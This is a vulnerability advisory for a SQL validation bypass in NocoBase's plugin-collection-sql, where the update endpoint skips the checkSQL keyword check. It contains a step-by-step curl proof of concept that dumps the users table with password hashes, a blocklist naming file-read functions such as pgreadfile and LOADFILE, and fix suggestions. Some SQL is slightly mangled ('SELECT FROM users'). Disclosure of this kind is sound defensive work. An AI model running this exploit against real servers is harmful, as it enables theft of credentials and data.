CVE-2026-41641: NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pgreadfile, LOADFILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... }

checkSQL is NOT applied on update

javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... }

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pgreadfile', 'pgwritefile', 'pglsdir', 'LOADFILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'loimport', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } };

PoC

bash TOKEN="<adminjwttoken>"

Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfilcollection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }'

Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pgreadfile('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' Returns: 400 "SQL statements contain dangerous keywords"

Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfilcollection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' Returns: 200 OK — no validation!

Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfilcollection:list" \ -H "Authorization: Bearer $TOKEN" Returns: all rows from users table including password hashes

Impact

- Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes. - Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pgreadfile, LOADFILE, dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pgreadfile reads arbitrary files from the database server filesystem.

Fix Suggestion

1. Add checkSQL() to the update action. The one-line fix: javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... }

2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.